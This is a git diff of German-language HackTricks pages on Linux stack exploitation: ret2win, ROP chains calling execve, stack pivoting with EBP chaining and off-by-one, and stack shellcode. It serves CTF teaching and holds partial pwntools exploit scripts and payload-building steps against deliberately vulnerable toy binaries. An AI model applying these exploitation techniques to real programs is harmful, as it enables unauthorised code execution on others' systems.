* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

31
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
View file

@ -10,13 +10,13 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
## Grundlegende Informationen
**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binäre Ausnutzung** beinhalten. Das Ziel besteht darin, eine Schwachstelle in einem gegebenen Binärfile auszunutzen, um eine bestimmte, nicht aufgerufene Funktion innerhalb des Binärs auszuführen, die oft etwas wie `win`, `ret2win` usw. genannt wird. Diese Funktion gibt in der Regel eine Flagge oder eine Erfolgsmeldung aus, wenn sie ausgeführt wird. Die Herausforderung beinhaltet in der Regel das Überschreiben der **Rückgabeadresse** auf dem Stapel, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binäre Ausnutzung** beinhalten. Das Ziel besteht darin, eine Schwachstelle in einem gegebenen Binärfile auszunutzen, um eine bestimmte, nicht aufgerufene Funktion innerhalb des Binärs auszuführen, die oft etwas wie `win`, `ret2win` usw. genannt wird. Diese Funktion gibt in der Regel eine Flagge oder eine Erfolgsmeldung aus, wenn sie ausgeführt wird. Die Herausforderung beinhaltet in der Regel das Überschreiben der **Rückgabeadresse** auf dem Stack, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
### C-Beispiel
@ -77,28 +77,23 @@ objdump -d vulnerable | grep win
```
Dieser Befehl zeigt Ihnen die Assembly des `win`-Funktion, einschließlich ihrer Startadresse.
Das Python-Skript sendet eine sorgfältig erstellte Nachricht, die, wenn sie von der `vulnerable_function` verarbeitet wird, den Puffer überläuft und die Rückkehradresse auf dem Stapel mit der Adresse von `win` überschreibt. Wenn `vulnerable_function` zurückkehrt, anstatt zu `main` zurückzukehren oder zu beenden, springt es zu `win`, und die Nachricht wird gedruckt.
Das Python-Skript sendet eine sorgfältig erstellte Nachricht, die, wenn sie von der `vulnerable_function` verarbeitet wird, den Puffer überläuft und die Rückkehradresse auf dem Stapel mit der Adresse von `win` überschreibt. Wenn `vulnerable_function` zurückkehrt, anstatt zu `main` zurückzukehren oder zu beenden, springt es zu `win` und die Nachricht wird gedruckt.
## Schutzmaßnahmen
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **sollte deaktiviert sein**, damit die Adresse bei verschiedenen Ausführungen zuverlässig ist oder die Adresse, an der die Funktion gespeichert wird, nicht immer die gleiche ist und Sie einen Leak benötigen, um herauszufinden, wo die win-Funktion geladen ist.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **sollte deaktiviert sein**, damit die Adresse über Ausführungen hinweg zuverlässig ist oder die Adresse, an der die Funktion gespeichert wird, nicht immer die gleiche ist und Sie einen Leak benötigen, um herauszufinden, wo die win-Funktion geladen ist.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückkehradresse niemals befolgt wird.
## Weitere Beispiele & Referenzen
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
* 32-Bit, kein ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64-Bit mit ASLR, mit einem Leak der Bin-Adresse
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64-Bit, kein ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32-Bit, kein ASLR, doppelter kleiner Überlauf, zuerst um den Stapel zu überlaufen und die Größe des zweiten Überlaufs zu vergrößern
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32-Bit, relro, kein Canary, nx, kein pie, Formatzeichenfolge zum Überschreiben der Adresse `fflush` mit der win-Funktion (ret2win)

27
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md
View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
@ -103,11 +103,13 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Fehlende Gadgets
Wenn Ihnen **Gadgets fehlen**, zum Beispiel um `/bin/sh` im Speicher zu schreiben, können Sie die **SROP-Technik verwenden, um alle Registerwerte** (einschließlich RIP und Param-Register) vom Stapel aus zu steuern:
Wenn Sie **Gadgets fehlen**, um beispielsweise `/bin/sh` im Speicher zu schreiben, können Sie die **SROP-Technik verwenden, um alle Registerwerte** (einschließlich RIP und Param-Register) vom Stapel aus zu steuern:
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
{% endcontent-ref %}
## Exploit-Beispiel
```python
from pwn import *
@ -174,20 +176,11 @@ target.sendline(payload)
target.interactive()
```
## Referenzen
## Weitere Beispiele & Referenzen
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
* 64 Bit, kein PIE, nx, schreiben Sie in einen Speicherbereich einen ROP, um `execve` aufzurufen und springen Sie dorthin.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 Bit, nx, kein PIE, schreiben Sie in einen Speicherbereich einen ROP, um `execve` aufzurufen und springen Sie dorthin. Um auf den Stack eine Funktion zu schreiben, die mathematische Operationen ausführt, wird missbraucht.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 Bit, kein PIE, nx, BF-Canary, schreiben Sie in einen Speicherbereich einen ROP, um `execve` aufzurufen und springen Sie dorthin.

55
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View file

@ -30,34 +30,42 @@ Und da sich der **EBP im Stack** vor dem EIP befindet, ist es möglich, ihn zu k
Diese Technik ist besonders nützlich, wenn Sie **den EBP-Register ändern können, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen aus, wenn sie ihre Ausführung beenden.
Wenn es Ihnen während der Ausführung von `fvuln` gelingt, einen **gefälschten EBP** im Stack einzuspeisen, der auf einen Speicherbereich zeigt, in dem die Adresse Ihres Shellcodes liegt (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diese manipulierte Position gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, sodass er effektiv auf Ihren Shellcode zeigt. Wenn die `ret`-Anweisung ausgeführt wird, wird die Kontrolle an Ihren Shellcode übertragen.
Wenn es Ihnen während der Ausführung von `fvuln` gelingt, einen **gefälschten EBP** im Stack einzuspeisen, der auf einen Speicherbereich zeigt, in dem die Adresse Ihres Shellcodes liegt (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diese manipulierte Position gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **wodurch er effektiv auf eine Adresse zeigt, die vom Angreifer dort gespeichert wurde.**\
Beachten Sie, wie Sie **2 Adressen kennen müssen**: Die, wohin der ESP gehen wird, und wohin Sie die Adresse schreiben müssen, auf die der ESP zeigt.
#### Exploit-Konstruktion
Zuerst müssen Sie Ihren Shellcode irgendwo in einem ausführbaren Speicher **einspeisen** und die **Adresse abrufen**, oder die Adresse zu einem gültigen [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) erhalten, oder den ESP auf einen Ort zeigen lassen, an dem die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` steht.
Zuerst müssen Sie eine **Adresse kennen, an der Sie beliebige Daten/Adressen schreiben können**. Der ESP wird hierhin zeigen und **den ersten `ret` ausführen**.
Erstellen Sie dann ein Padding und **kompromittieren Sie den EBP** mit der `Adresse des Shellcodes/one_gadget - 4`. Es muss `-4` sein wegen des `pop`. Dann wird der `ESP` auf unsere gewünschte Adresse zeigen und das `ret` wird ausgeführt.
Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebigen Code auszuführen**. Sie könnten verwenden:
#### Off-By-One Exploit
* Eine gültige [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)-Adresse.
* Die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` (x86-Bits).
* Die Adresse eines **`jump esp;`**-Gadgets ([**ret2esp**](ret2esp-ret2reg.md)) gefolgt vom **Shellcode** zur Ausführung.
* Einige [**ROP**](rop-return-oriented-programing.md)-Kette
Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP ändern können**. In einem solchen Fall muss der Speicherort, der die Adresse des Shellcodes speichert, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter stärker eingeschränkten Bedingungen ermöglicht.
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Speicherbereich **`4` Bytes** stehen müssen, aufgrund des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um einen **zweiten gefälschten EBP** zu setzen und die Ausführung weiter zu kontrollieren.
#### Off-By-One-Exploit
Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One-Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP ändern können**. In einem solchen Fall muss der Speicherort, der die Adresse zum Springen mit dem **`ret`** speichert, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter stärker eingeschränkten Bedingungen ermöglicht.
### **EBP-Chaining**
Daher ist es möglich, indem man eine kontrollierte Adresse in den `EBP`-Eintrag des Stacks und eine Adresse zu `leave; ret` in `EIP` platziert, den **`ESP` auf die kontrollierte `EBP`-Adresse im Stack zu verschieben**.
Daher ist es möglich, indem man eine kontrollierte Adresse im `EBP`-Eintrag des Stacks und eine Adresse zu `leave; ret` im `EIP` platziert, den **`ESP` zur kontrollierten `EBP`-Adresse im Stack zu verschieben**.
Nun wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, ist es möglich, an dieser kontrollierten ESP-Stelle Folgendes zu platzieren:
Nun wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, können Sie an dieser kontrollierten ESP-Stelle Folgendes platzieren:
* **`&(nächster gefälschter EBP)`** -> Lädt den neuen EBP aufgrund von `pop ebp` aus der `leave`-Anweisung
* **`system()`** -> Aufgerufen von `ret`
* **`&(leave;ret)`** -> Wird nach dem Ende von system aufgerufen, es verschiebt den ESP zum gefälschten EBP und startet erneut
* **`&(leave;ret)`** -> Wird nach dem Ende von system aufgerufen, es verschiebt ESP zum gefälschten EBP und startet erneut
* **`&("/bin/sh")`**-> Parameter für `system`
Auf diese Weise ist es im Grunde möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.
Ehrlich gesagt, dies ähnelt einem [ret2lib](ret2lib/), ist jedoch komplexer und ohne offensichtlichen Nutzen, könnte aber in einigen Randfällen interessant sein.
Außerdem finden Sie hier eine [**Beispielherausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine Gewinnfunktion aufzurufen. Dies ist das endgültige Payload von der Seite:
Darüber hinaus finden Sie hier eine [**Beispielherausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine Gewinnfunktion aufzurufen. Dies ist das endgültige Payload von der Seite:
```python
from pwn import *
@ -93,6 +101,33 @@ pause()
p.sendline(payload)
print(p.recvline())
```
## EBP ist nutzlos
Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binärprogramm mit einigen Optimierungen kompiliert wird, wird **ESP nie von EBP kontrolliert**, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, da er keine echte Wirkung hat.\
Dies liegt daran, dass sich das **Prolog und Epilog ändern**, wenn das Binärprogramm optimiert ist.
* **Nicht optimiert:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **Optimiert:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Andere Möglichkeiten, um RSP zu kontrollieren
### **`pop rsp`** Gadget
@ -159,7 +194,7 @@ xchg <rag>, rsp
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.

18
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
View file

@ -16,7 +16,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
## Grundlegende Informationen
**Stack-Shellcode** ist eine Technik, die bei der binären Ausnutzung verwendet wird, bei der ein Angreifer Shellcode in den Stack eines anfälligen Programms schreibt und dann den **Instruktionszeiger (IP)** oder den **Erweiterten Instruktionszeiger (EIP)** so modifiziert, dass er auf die Position dieses Shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie Sie möglicherweise ein entsprechendes Exploit mit Python und **pwntools** schreiben würden.
**Stack-Shellcode** ist eine Technik, die bei der binären Ausnutzung verwendet wird, bei der ein Angreifer Shellcode in den Stack eines anfälligen Programms schreibt und dann den **Instruktionszeiger (IP)** oder den **Erweiterten Instruktionszeiger (EIP)** so ändert, dass er auf die Position dieses Shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie Sie möglicherweise ein entsprechendes Exploit mit Python und **pwntools** schreiben würden.
### C-Beispiel: Ein anfälliges Programm
@ -36,7 +36,7 @@ printf("Returned safely\n");
return 0;
}
```
Dieses Programm ist anfällig für einen Pufferüberlauf aufgrund der Verwendung der `gets()` Funktion.
Dieses Programm ist anfällig für einen Pufferüberlauf aufgrund der Verwendung der `gets()`-Funktion.
### Kompilierung
@ -80,7 +80,7 @@ p.interactive()
```
Dieses Skript konstruiert eine Nutzlast, die aus einem **NOP-Slide**, dem **Shellcode** und dann dem Überschreiben des **EIP** mit der Adresse besteht, die auf den NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung unabhängig von der genauen Adresse in unseren Shellcode "rutscht". Passen Sie das Argument von `p32()` an die Startadresse Ihres Puffers plus einen Offset an, um im NOP-Slide zu landen.
Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung unabhhängig von der genauen Adresse in unseren Shellcode "rutscht". Passen Sie das Argument von `p32()` an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
## Schutzmaßnahmen
@ -88,17 +88,23 @@ Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu er
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückgabeadresse niemals verfolgt wird.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **Stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar wäre.
## Weitere Beispiele
## Weitere Beispiele & Referenzen
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64-Bit, ASLR mit Stack-Adressenleck, Schreiben von Shellcode und Sprung dazu
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32-Bit, ASLR mit Stack-Leck, Schreiben von Shellcode und Sprung dazu
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32-Bit, ASLR mit Stack-Leck, Vergleich zur Verhinderung des Aufrufs von exit(), Überschreiben einer Variablen mit einem Wert und Schreiben von Shellcode und Sprung dazu
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**